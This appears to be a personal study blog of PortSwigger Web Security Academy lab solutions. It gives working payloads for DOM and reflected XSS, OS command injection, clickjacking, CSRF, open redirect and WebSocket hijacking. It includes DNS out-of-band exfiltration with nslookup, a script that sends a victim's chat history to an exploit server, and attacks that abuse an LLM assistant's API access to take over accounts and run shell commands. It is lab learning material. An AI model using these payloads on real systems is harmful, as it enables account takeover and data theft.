Learning web exploitation
Goal is to get the BSCP.
XSS Attacks
Lab: DOM XSS in document.write sink using source location.search
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
First 2 labs are super easy just append <script>alert(1)</script> to the search menu and comment section and thats it. For this lab, we need to break out of the quotes generated by the document.write function above. Now the query field is what you enter in the search menu. After about 20 minutes of trying different combinations, the working payload is ""</script><script>alert(1)</script> When this gets rendered, the double quotes first break out of the <img> tag, then for some reason adding a <\script> creates a newline. Finally we do the usual and generate an alert. Very good intro lab. I will try my best in the rest of the labs to not look at any solutions. Go through the documents and understand everything!!!!
Lab: DOM XSS in document.write sink using source location.search inside a select element
My first practitioner lab. Relevant JS:
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
This one was much easier than the previous one actually. Working payload is /product?productId=1&storeId=</select><script>alert(1)</script> You first break out of the selection menu by ending the </select>, then you just run the alert(1) script and boom!
Lab: DOM XSS in innerHTML sink using source location.search
Relevant JS:
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
I was actually stuck on this for some time. Make sure to read the Burpsuite academy since it gives very good hints before the lab. In this case, innerHTML doesn’t load any JS directly, so we must use something else. Working payload is /?search=<img%20src=1%20onerror=alert()>. When the page loads, it attempts to load the image “1”. Since it doesn’t exist, the alert() function gets called. Basically HTML code that calls a JS function on an error.
Lab: DOM XSS in jQuery anchor href attribute sink using location.search source
Relevant JS:
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
This one is super easy, go to Submit feedback, change the url from /feedback?returnPath=/post to /feedback?returnPath=javascript:alert(). When you click the back button(NOT IN BROWSER TOP LEFT), JS is executed instead of directing you back to the /post section. Not related, but the Jquery script is actually hosted by PortSwigger: <script src="/resources/js/jquery_1-8-2.js"></script>. I thought there was going to be a third party request to jquery.com like every other website, but nope. Nice!!
Lab: DOM XSS in jQuery selector sink using a hashchange event
Relevant JS:
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
This lab taught me how to use exploit server. Of course not super realistic, but I guess its like an Apache or Nginx server irl. Working payload is <iframe src="https://0a1e000703eb93d0805d26110048002c.web-security-academy.net#" onload="this.src+='<img src=1 onerror=print()>'"> Of course replace the src with the correct url of the base page. Using iframes are pretty cool. I know iframes can be used to do a bunch of naughty things. Facebook pixel for instances uses invisible iframes to track users. Please use ublock origin!!! Anyway, this one does the same thing as the previous lab. Tries to load image, fails and executes a function. In this case, lab called for print() since alert() doesn’t work in newer version of Chrome I think??
Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
This one was tricky. First tried to understand how {{}} got parsed in AngularJS. I could input {{5+5}} into the search and it would output 10, but inputs like {{alert()}} are sanitized and don’t work. Next I tried to HTML encode <script>alert()</script> so it gets turned into <script>alert()</script>. Putting this into search also didn’t work. Inspect didn’t give me much either. I could see the input field had class="ng-pristine ng-valid" attributes. Looking at the documentation these were related to CSS:
Control status CSS classes
Angular automatically mirrors many control properties onto the form control element as CSS classes. Use these classes to style form control elements according to the state of the form. The following classes are currently supported.
.ng-valid
.ng-invalid
.ng-pending
.ng-pristine
.ng-dirty
.ng-untouched
.ng-touched
.ng-submitted (enclosing form element only)
Well CSS is not gonna help me here. Spent the next couple hours trying various payloads. Finally, I asked Duck AI to give me a hint and it gave me a working payload: {{ constructor.constructor('alert()')() }} The solution given by PortSwigger is {{$on.constructor('alert(1)')()}} Alright lets try to understand exactly how this works.
I read this blog and early versions of AngularJS didn’t have a sandbox. Once XSS vulnerabilities were reported, a sandbox was created to attempt to mitigate this attack. Of course it wasn’t enough and every single version of the sandbox was bypassed. Eventually Angular just gave up and removed the sandbox. The version of AngularJS in lab is 1.7.7, which doesn’t have any sandbox. Sure enough, the first discovered payload works. The trick to this payload is every function in JS has a constructor property that points to the function that created it. So calling alert() directly failed since it is not defined in the local scope. On Jsfiddle:
console.log(constructor);
console.log(constructor.constructor);
function Window() {
[native code]
}
function Function() {
[native code]
}
You can see logging constructor outputs the Window() function because it is the default global constructor. But using constructor.constructor outputs the function contructor. This allows us to define any function we want using strings, which leads to XSS in AngularJS. Pretty interesting and learned something new about JS.
Lab: Reflected DOM XSS
Relevant JS:
function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
}
Using eval is a horrible idea. If the server doesn’t do any sanitation, then the attacker can easily execute arbitrary code. The server returns a JSON response of the search results, but it also sends the searchTerm back to the client so it can show it to the user in the results screen. I set a breakpoint on the eval line and set a watch expression for this.responseText. I can now send test payloads to see how the JSON gets parsed on the client side. Searching \ gives "{\"results\":[],\"searchTerm\":\"\\\"}". So this gives 0 results and the \ gets inserted between \". This is how JSON differentiates the end of string and quotes. Of course the obvious next step is to try to break out of that. The first thing to do is to end the variable declaration with a ;. Searching for ; gives "{\"results\":[],\"searchTerm\":\";\"}". We aren’t any closer, since it considers ; our search term. We need to dive deeper.
What if we try directly closing the JSON object with };. This gives "{\"results\":[],\"searchTerm\":\"};\"}", nope. What if we directly copy the end of the JSON and append \"}";. This gives "{\"results\":[],\"searchTerm\":\"\\\\\"}\\\";\"}", nope gives Uncaught SyntaxError: Invalid or unexpected token. Wait a second why is there no ; right after the }? Lets try \"};, removing the double quote. This gives: "{\"results\":[],\"searchTerm\":\"\\\\\"};\"}". Okay okay, getting closer. What if we now try injecting alert(). Try \"}; alert();. This gives "{\"results\":[],\"searchTerm\":\"\\\\\"}; alert();\"}". Alright in theory we have broken out, lets comment out the end of the code after alert(); using //.
Working payload: \"}; alert(); //
this.responseText: "{\"results\":[],\"searchTerm\":\"\\\\\"}; alert(); //\"}"
The // is a comment in JS, so eval just ignores the end of the function. Success! We have XSS by doing a bunch of testing of different payloads. With these harder labs, its always a good idea to understand the solution as well. PortSwigger takes a different approach \"-alert(1)}//. Solutions mention escaping of backslash and double quotes. So a double quote gets escaped, which means I input " in search and its interpreted as \", NOT a literal, so we can’t just close a string. Now the backslash is not escaped, so if I search \", its interpreted as \\", in JS 2 backslashes mean a single LITERAL backslash, so it gets interpreted as a LITERAL backslash and a LITERAL double quote \". This allows us to close the string and inject our payload. I was confused af at this, but now kinda understand how it works.
Lab: Stored DOM XSS
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = escapeHTML(comment.body);
commentSection.appendChild(commentBodyPElement);
}
We only care about the escapeHTML function and what it does to process the comment body. Using JS debugging and input: <script>alert()</script>, comment.body="<script>alert()</script>", commentBodyPElement.innerHTML="<script>alert()". I tried to escape out of the <p> by commenting </p><script>alert()</script>, but nope everything is rendered in comments. The reason why I can do this is the escapeHTML function only checks for the literal <> symbols, but if I encode in unicode, I can bypass the check and render <>. Unfortunately, it is interpreted as: <p></p><script>alert()</script></p>. We need it to interpret as </p> to escape out or inject non escaped <>.
Working payloads: </p><img src=x onerror="alert();"><p>. Lets dive deeper into exactly how this works. commentBodyPElement.innerHTML="</p><img src=\"x\" onerror=\"alert();\"><p></p>" after the escapeHTML function. Well testing more variations, this payload also works in comment field: </p><img src=x onerror=alert()>. We close the paragraph element, but the escapeHTML doesn’t catch it properly. commentBodyPElement.innerHTML="</p><img src=\"x\" onerror=\"alert()\">". Inspect on comment shows: <p></p><img src="x" onerror="alert()"></p>. Sigh… I am overthinking this like usual. The html.replace function only replaces the FIRST occurances of the symbols<>, this explains why it replaced the FIRST occurances in the <p>. BUT we don’t even need to close the paragraph tag. We can use a payload like this <><img src=x onerror=alert()>. After the <>, the remaining symbols don’t get replaced and get executed because the remaining symbols are NOT escaped. Man… I spent so much time, tried so many different payloads trying to break out of the paragraph tag, but I actually didn’t even need to do that. FINAL PAYLOAD: <><img src=x onerror=alert()>
Lab: Reflected XSS into HTML context with most tags and attributes blocked
Working payload sent to victim: <iframe src=https://0ac5009c042dd4a0c450778d00ad0017.web-security-academy.net/?search=%3Cbody+onresize%3Dprint%28%29%3E onload="this.height='1px'">. The important part is /?search=%3Cbody+onresize%3Dprint%28%29%3E. Learned how to use Burp intruder to enumerate lots of tags and attributes. Portswigger provides a cheatsheet here. It has lots of tags and attributes that can help you bypass WAFs like in this lab. So this lab blocked most common attributes and tags. If you tried <img>, you get HTTP 400 response invalid tag, if you tried <math onload=alert()>, you would get 400 invalid attribute. So\ common XSS vectors are blocked. However, we can use the cheat sheet and Burp intruder to quickly send a bunch of requests to quickly find working combinations.
So first you submit a search query, then find the POST request in HTTP history. Send that to intruder and go from there. So first we need to enumerate tags and find which are allowed. You want to add the injection point directly in between <>: GET /?search=%3C<here>%3E. Then copy paste tags and run intruder. Sort by increasing status codes and I noticed body tag is allowed. Thats very good and a good injection point, so we use that tag. Now we must enumerate the attributes. So repeat the same thing in intruder, but this time we put the injection point like this: GET /?search=%3Cbody+<here>%3E. Remember when you click the add button, Burp adds a special character so I can’t represent it in this blog, put that where I wrote <here>, but don’t literally put in <here>. The + symbol represents a space, %3C %3E is HTML encoding for <> symbols. Run and you should get a list of working attributes with HTTP 200 if you sort by increasing status code. Look at the right figure above. At this point I was stuck for some time thinking about my next step. The allowed attributes don’t execute on page load and the lab REQUIRES ZERO user intervention. I tried searching for <body onbeforeinput=print()>, which actually gave me XSS everytime I typed something in the search window, which was pretty cool, but that didn’t solve the lab. Looking back at my previous labs, I had to use the exploit server to send the victim an iframe. That is exactly what I did next.
onresize was a interesting attribute. Are we able to resize the iframe on page load, which then causes XSS? Doing some research and yes you can. So I contructed the payload in the body to send to the victim: <iframe src=https://baseurl/?search=%3Cbody+onresize%3Dprint%28%29%3E onload="this.height='1px'">. So I copied the POST request from browser development network tab. When the iframe loads, the entire window gets resized to 1px, executing alert() on victim browser. MAKE SURE TO PUT SINGLE QUOTES around 1px. I spent way too much time troubleshooting why the hell this didn’t work!!! The only issue I had was quotes lol… Anyway, this was very fun and a very good learning experience.
Lab: DOM-based cookie manipulation
Vulnerable JS in src:
<script>
document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
</script>
This is the payload that allows RCE. What we do is append &'><script>print()</script> to the end of a productID URL. What this does is it breaks out of the href when the cookie value gets inserted. It closes the href, then adds the js. https://0a8500cb04ab45bc80ae12e70078004a.web-security-academy.net/product?productId=1&%27%3E%3Cscript%3Eprint()%3C/script%3E
This:
<section class="top-links">
<a href=/>Home</a><p>|</p>
<a href='https://0a8500cb04ab45bc80ae12e70078004a.web-security-academy.net/product?productId=1'>Last viewed product</a><p>|</p>
</section>
Becomes:
<section class="top-links">
<a href=/>Home</a><p>|</p>
<a href='https://0a8500cb04ab45bc80ae12e70078004a.web-security-academy.net/product?productId=1&'><script>print()</script>'>Last viewed product</a><p>|</p>
</section>
Now we send a iframe to the victim using:
<iframe src=https://0a8500cb04ab45bc80ae12e70078004a.web-security-academy.net/product?productId=1&%27%3E%3Cscript%3Eprint()%3C/script%3E onload="if(!window.whatever)this.src='https://0a8500cb04ab45bc80ae12e70078004a.web-security-academy.net/';window.whatever=1">
What this does is it loads the iframe initially, setting that cookie, then it instantly redirects to the root page, which will execute the payload. This fulfills the requirement of getting XSS on a seperate page. We use some random variable window.whatever to act like a flag, so we don’t get infinite redirections to the homepage.
Lab: DOM XSS using web messages
Vulnerable JS:
<script>
window.addEventListener('message', function(e) {
document.getElementById('ads').innerHTML = e.data;
})
</script>
Send this:
<iframe src="https://0a5300aa035e124b82241b8000520077.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=x onerror=print()>','*')">
to victim. Now the vulnerable JS will get out img tag, try to load the image, fail, and call print(). IMPORTANT! The result will not be displayed in your src code, so try using something like this first to see anything in console.
Lab: DOM XSS using web messages and a JavaScript URL
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);
</script>
If we post a message and it contains http or https, then it will redirect you to that page. This can be abused because it doesn’t have to be a URL, just needs to contain those keywords. I construct this payload:
<iframe src="https://0a4200040322e1d48054808a008a00d3.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
It posts a js url: javascript:print() with a comment containing the http: to satisfy the requirements of the href change. So now when users visit this URL, print() gets called.
Lab: DOM XSS using web messages and JSON.parse
Some interesting JS:
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script>
Constructing this payload to “load” a channel:
this.postMessage('{"type":"load-channel", "url":"javascript:print()"}','*')
This is what I sent to victim. Spend so much time on formatting.
<iframe src="https://0ace0093034d5477820d381100210034.web-security-academy.net" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
So double single quote for the onload, then double quotes for the JSON. Inside those double quotes, we specify \ to differentiate the inner double quotes from outer. Everything else is double quote. I tried using \', but this doesn’t work for inner quote. You must use single quote outside, then double quote inside. I spend more time on formatting the quotes than actually solving the lab lol.
LLM attacks
Lab: Exploiting LLM APIs with excessive agency
Very easy. Just ask the LLM to retrieve account information, change email to your own, then send a password reset. Login as carlos, delete account, and you are done. Of course, this usually never happens in the actual internet. Most bots are fairly secure. Looking at the solution, I could have also deleted the account by calling the SQL query from the chat: DELETE FROM users WHERE username='carlos'.
Lab: Exploiting vulnerabilities in LLM APIs
Lab: OS command injection, simple case
Going off topic because previous practitioner needs this skill. I don’t know exactly how to do OS command injection just yet. Lets learn.
sh: 1: Syntax error: Unterminated quoted string when I try injecting "& whoami". productId=' & echo woofer &storeId=1' ok no more http 400, but still im not getting any output.
productId=;whoami;&storeId=1 working payload outputs: /home/peter-3C15hj/stockreport.sh: line 5: $1: unbound variable sh: 1: 1: not found. Using ; to escape out and add an arbitrary whoami command. Hmmm interesting, it seems like Portswigger has server side protection on command execution. Honestly a good thing because it prevents an attacker from establishing a reverse shell using netcat or something else. productId=;echo aisjdioasiodjoiasd;&storeId=1 returns the same thing.
Lab: Blind OS command injection with time delays
This one was actually easier than the previous one. First I url encoded & ping -c 10 127.0.0.1 & to %26%20ping%20-c%2010%20127.0.0.1%20%26. I submit arbitrary stuff in feedback and using Burpsuite proxy, intercept and modify the email request to the url encoded data. So then the server takes that 10 seconds to process and boom finished. Very nice.
Lab: Blind OS command injection with output redirection
Exactly same as previous lab, but access is slightly different. First URL encode & whoami > /var/www/images/whoami & to %26%20whoami%20%3E%20%2Fvar%2Fwww%2Fimages%2Fwhoami%20%26. Submit random feedback, intercept using Burp proxy, and modify email to url encoded data. Then go to https://you_unique_address.web-security-academy.net/image?filename=whoami. In developer mode in response you see peter-nQjrBr. And boom you solved the lab, very nice.
Blind OS command injection with out-of-band interaction
URL encode: echo -n "& nslookup unique_id.oastify.com &" | urlencode and put the output into email mode after proxy. Same as before. Start Burp collaborator before and copy the link.
Blind OS command injection with out-of-band data exfiltration
Same thing, replace email field with: %26+nslookup+whoami.unique_url.oastify.com+%26, generated with Burp collaborator. Send it after proxy and the server should do a A record DNS lookup that looks like: peter-rxXhJQ.*.oastify.com. The flag is peter-rxXhJQ.
Lab: Exploiting vulnerabilities in LLM APIs
I spent way too long on this. I was trying to get RCE on the list product API. Injecting commands like:
"id": "call_yAHAGMZPT8sxx4NcGi6k4vop",
"type": "function",
"function": {
"name": "product_info",
"arguments": "{\"product\":\"Eye Projectors; & ls & \"}"
}
This was a dead end, didn’t get anywhere. I wanted to explore the password reset API, but I don’t have an account. Last API is the newsletter subscribe API. I asked the LLM to parse the JSON below to subscribe my attacker exploit email to
{
"email": "`rm morale.txt`attacker@exploit-0a4300b00318670d80f1a75d01640003.exploit-server.net"
}
I solved the lab. Very cool. This is similar to:
`nslookup `command`domain.tld`
This sends the output of command to the attacker controlled DNS server for out of band data exfiltration.
ClickJacking
Lab: Basic clickjacking with CSRF token protection
<head>
<style>
#target_website {
position:relative;
width:500px;
height:550px;
opacity:0.01;
z-index:2;
}
#decoy_website {
position:absolute;
top: 496px;
left: 70px;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">Click me</div>
<iframe id="target_website" src="https://0af700d1031dcc1880ab0dc300f000ef.web-security-academy.net/my-account">
</iframe>
</body>
Hmm not sure why this isn’t working. Lets dive deeper.
<head>
<style>
#target_website {
position:relative;
width:500px;
height:550px;
opacity:0.01;
z-index:2;
}
#decoy_website {
position:absolute;
top: 496px;
left: 70px;
width:60px;
height:30px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">Click me</div>
<iframe id="target_website" src="https://0af700d1031dcc1880ab0dc300f000ef.web-security-academy.net/my-account">
</iframe>
</body>
Ok im dum dum. Don’t make the decoy width and height so big lol. It was 300x400 before. So the “victim” clicked th middle, which wasn’t actually over the hidden iframe. Just shrank it so in inspect, it completely fit to the hidden iframe delete button, send to victim, and instantly worked. I spent too much time troubleshooting this lol.
Lab: Clickjacking with form input data prefilled from a URL parameter
Same payload as before, modify so URL has ?email=a@a parameter. Adjust position so it is directly above target button.
<head>
<style>
#target_website {
position:relative;
width:500px;
height:550px;
opacity:0.001;
z-index:2;
}
#decoy_website {
position:absolute;
top: 450px;
left: 70px;
width:60px;
height:10px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">Click me</div>
<iframe id="target_website" src="https://0a4000e103b810db854dfdb8001e00a7.web-security-academy.net/my-account?email=a@a">
</iframe>
</body>
Lab: Clickjacking with a frame buster script
Exactly the same, just add sandbox="allow-forms" to the iframe.
<head>
<style>
#target_website {
position:relative;
width:500px;
height:550px;
opacity:0.01;
z-index:2;
}
#decoy_website {
position:absolute;
top: 450px;
left: 70px;
width:60px;
height:10px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">Click me</div>
<iframe id="target_website" sandbox="allow-forms" src="https://0a3300b9047e9a1f807d1c8200e5008c.web-security-academy.net/my-account?email=a@a">
</iframe>
</body>
Exploiting clickjacking vulnerability to trigger DOM-based XSS
Vulnerable JS. There is no sanitation in the name field:
function displayFeedbackMessage(name) {
return function() {
var feedbackResult = document.getElementById("feedbackResult");
if (this.status === 200) {
feedbackResult.innerHTML = "Thank you for submitting feedback" + (name ? ", " + name : "") + "!";
feedbackForm.reset();
} else {
feedbackResult.innerHTML = "Failed to submit feedback: " + this.responseText
}
}
}
So in the name field we can input: <img src=x onerror=print()>. Other fields put random data and on submit we get XSS!! To fill in the rest of the fields, we simply use URL encoding https://0ab400e504da89f38040261600a100e0.web-security-academy.net/feedback?name=%3Cimg%20src=x%20onerror=print()%3E&email=a@a&subject=a&message=a. When we open this link, all the fields are prepopulated. Now we just need to use the previous techniques and send a payload to user.
<head>
<style>
#target_website {
position:relative;
width:500px;
height:900px;
opacity:0.001;
z-index:2;
}
#decoy_website {
position:absolute;
top: 795px;
left: 70px;
width:60px;
height:10px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">Click me</div>
<iframe id="target_website" src="https://0ab400e504da89f38040261600a100e0.web-security-academy.net/feedback?name=%3Cimg%20src=x%20onerror=print()%3E&email=a@a&subject=a&message=a">
</iframe>
</body>
Lab: Multistep clickjacking
<head>
<style>
#target_website {
position:relative;
width:500px;
height:900px;
opacity:0.0001;
z-index:3;
}
#decoy_website {
position:absolute;
top: 490px;
left: 70px;
width:70px;
height:10px;
z-index:2;
}
#decoy_website2 {
position:absolute;
top: 290px;
left: 230px;
width:60px;
height:10px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">Click me first</div>
<div id="decoy_website2">Click me next</div>
<iframe id="target_website" src="https://0ae4009c041580c0806b1255005000df.web-security-academy.net/my-account">
</iframe>
</body>
Very easy. Just add a second div and manipulate the position using CSS. Not sure how practical this attack actually is. Won’t fool most users because it looks too simple lol.
CSRF
Lab: CSRF vulnerability with no defenses
Using Burp Professional, right click on POST request to change email, Engagement tools, Generate CSRF PoC. Copy and paste the code below into the exploit server and send it to the victim. Very easy.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a2600810451bef08037034d00c0001b.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="89sadu@random.email" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab: CSRF where token validation depends on request method
Very easy. Switch to GET request and put the email in the URL:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0af800bb04ff20f5c54f744000be008a.web-security-academy.net/my-account/change-email?email=test@test.test" method="GET">
<input type="hidden" name="email" value="89suiahduahusdadu@random.email" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab: CSRF where token validation depends on token being present
WTF these labs should not be Practitioner level. The exact same payload as lab CSRF vulnerability with no defenses.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0aac00350465d0a3809d03cf00bb0042.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="89saiusahdhdsadu@random.email" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab: CSRF where token is not tied to user session
A bit harder, but you generate a valid CSRF token using one of your accounts. Turn on intercept in Burp, copy that token, and drop the request. DONT SEND TO SERVER OR THAT TOKEN IS BURNED!!! You now have a valid token. Make the HTML below with that valid token, send to user and success.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a8300b4032fcc4d80baa33000180064.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asoidaoisd@oiasdoihuoasdo" />
<input type="hidden" name="csrf" value="p2e4L9RLDnTpJmXxyHmnykonqB4AYuHP" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
CSRF where token is tied to non-session cookie
This one was fairly difficult. Had to get some hints from a writeup, but was able to solve it using my own unique solution. Going from the previous lab, there includes a csrfKey cookie in every request from the client to server. Just like previous lab where we need to send a valid csrf field in each request. Now the key difference is this cookie is harder to manipulate. If we use the same payload previously, it won’t work even though the csrf token is valid because it is validated against the users’s csrfKey cookie. The session cookie is not validated, which is the key to this vulnerability.
What we need to do is set this csrfKey cookie to our valid one, which will work with our csrf token. The lab also gives us a hint: “The cookie-setting behavior does not even need to exist within the same web application as the CSRF vulnerability.”. Finding this cookie setting behaviour took me the longest time. Lesson learned, if you can’t find something, go look somewhere else.
Going to the main search page and looking at the request and responses using Chrome developer tools, I noticed every time I searched something, the server sent a Set-Cookie header to the client. Looking at the docs, this actually allows the server to set a cookie on the client. In developer tools it is set to: Set-Cookie:
LastSearchTerm=f; Secure; HttpOnly. I don’t know how I missed this, but being able to manipulate a cookie using a search term was RIGHT IN FRONT OF ME lol.
Similar to XSS, if we are able to break out into a newline and set a new cookie, that would be ideal. I spend a lot of time trying different payloads such as searching ; Set-Cookie: session=1234; SameSite=None. Setting SameSite to none is critical because it allows CSRF to work. We can use subdomains to set a global cookie. We also need to add the Secure flag according to docs, but thankfully the server adds them for us. This didn’t work, so I took a hint from a writeup. Using Urlencoder, I wanted to see if newlines were able to break me out. %0A urlencoded. Nope, they don’t work. The trick is to add a CRLF %0D%0A. Very good, I learned something new.
You can see this in my working payload below. Once I urlencode this, I am able to set the client’s csrfToken cookie to my own working one using an iframe. Since the server doesn’t validate the session cookie, it will take the users session and change the email. The rest of the payload is the exact same generated from Burp’s CSRF PoC. Very good lab, I approve!!
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<iframe src="https://0a61007c0458982880bd037a009d0083.web-security-academy.net/?search=%0D%0ASet-Cookie%3A%20csrfKey%3DrHfpDQJoB0EHcmYjmepFk28FdDxoVrt2%3B%20SameSite%3DNone"></iframe>
<body>
<form action="https://0a61007c0458982880bd037a009d0083.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asasjdasdsados@ijasoijdsasdsadasad" />
<input type="hidden" name="csrf" value="Oqxuxm0pbGvk2LkiPGi2WxCVM7iGVlX0" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
CSRF where token is duplicated in cookie
Same as previous lab, just change csrf cookie instead.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<iframe src="https://0a4a009d04b9e99180c29911005000d5.web-security-academy.net/?search=%0D%0ASet-Cookie%3A%20csrf%3D4Sx9uo0avYees8LggWK6CjcK0Rwt0W41%3B%20SameSite%3DNone"></iframe>
<body>
<form action="https://0a4a009d04b9e99180c29911005000d5.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asoidjis198981981@jiosajdoisajda" />
<input type="hidden" name="csrf" value="4Sx9uo0avYees8LggWK6CjcK0Rwt0W41" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab: SameSite Lax bypass via method override
Very simple. Use the same payload as previous, but change the outer request to GET and inner _method to POST. The request gets sent out as GET, but is interpreted as server as POST. If you don’t do this, you will receive Method not allowed response from server.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a8b0077039d5c4281fff21a0007002d.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="_method" value="POST">
<input type="hidden" name="email" value="asdasdasdasdasddsaasds@adsasdasd" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab: DOM-based open redirection
Vulnerable JS:
<div class="is-linkback">
<a href='#' onclick='returnUrl = /url=(https?:\/\/.+)/.exec(location); location.href = returnUrl ? returnUrl[1] : "/"'>Back to Blog</a>
</div>
So the back button has a open redirection vulnerability. Lets see how to exploit this. Well it was very simple. Simply craft the url as https://0aaa002e041404a0821f8e9f00460004.web-security-academy.net/post?postId=7&url=https://exploit-0a81008704d50489827e8d51010e00d1.exploit-server.net and post it as a comment in website field. A site user will click on it, then click the back button. once that happens, they get redirected to the exploit server. Neat.
SameSite Strict bypass via client-side redirect
Set-Cookie: session=LuzLJqbrCKZb9eMwOipHYfQuwnkBjaXC; Secure; HttpOnly; SameSite=Strict
Using SameSite=Strict. This makes it more challenging. So we can construct this URL to change the email with a GET request: https://0a7f00f803cc9170804e035d008100b3.web-security-academy.net/my-account/change-email?email=target@email&submit=1. I found the redirect vulnerability in the comment redirect. I url encoded my payload: https://0a7f00f803cc9170804e035d008100b3.web-security-academy.net/post/comment/confirmation?postId=..%2Fmy-account%2Fchange-email%3Femail%3Dtarget%40email%26submit%3D1 I actually can’t believe .. went back one page because without it, it would redirect to /post/my-account, which is wrong.
The vulnerable JS is found inside file called commentConfirmationRedirect.js:
redirectOnConfirmation = (blogPath) => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = blogPath + '/' + postId;
}, 3000);
}
Well actually you don’t need to URL encode when you send it to the exploit server. Anyways here is final exploit:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a7f00f803cc9170804e035d008100b3.web-security-academy.net/post/comment/confirmation" method="GET">
<input type="hidden" name="postId" value="../my-account/change-email?email=targeasda308912312089sdasdasdt@email&submit=1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Lab: Manipulating WebSocket messages to exploit vulnerabilities
The answer is in the academy. Intercept and modify websocket when you send message to: {"message":"<img src=1 onerror='alert(1)'>"}, send and solved.
Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
First start a chat session. Replay a previous websocket session from Proxy->Websockets history tab. Add X-Forwarded-For: 2.2.2.2, whatever ip you want to bypass their ip blocking. If you send alert() in chat, your ip gets banned. Adding this HTTP header bypasses it on the initial websocket upgrade request.
The fatal flaw in their XSS filter is they don’t check for edge cases like newlines or obfuscation. One working payload is:
{"message":"<img src=x onerror
='alert
()'>"}
Lab: Cross-site WebSocket hijacking
This is the payload. How it works is you send this to the victim, they open it, and as soon as their client sends a ws.send(“READY”) message to server all their chat history gets sent to your exploit server. You will receive the requests in the parameters of the access logs. The password is there in plaintext, login to Carlos account with that password and lab solved!
<script>
var ws = new WebSocket('wss://0af800fe049e0957800503ab004c0029.web-security-academy.net/chat');
ws.addEventListener("open", (event) => {
ws.send("READY");
});
ws.onmessage = function(event) {
fetch('https://exploit-0ae2007d04e409c2805f025601e60091.exploit-server.net/exploit/'+event.data, {
method: 'POST',
});
};
</script>
Lab: SameSite Strict bypass via sibling domain
This one is more challenging. The previous payload doesn’t work. It seems like the websocket history isnt sent directly, even after you send a “READY” to the server. This is probably because of SameSite=Strict in the cookie.
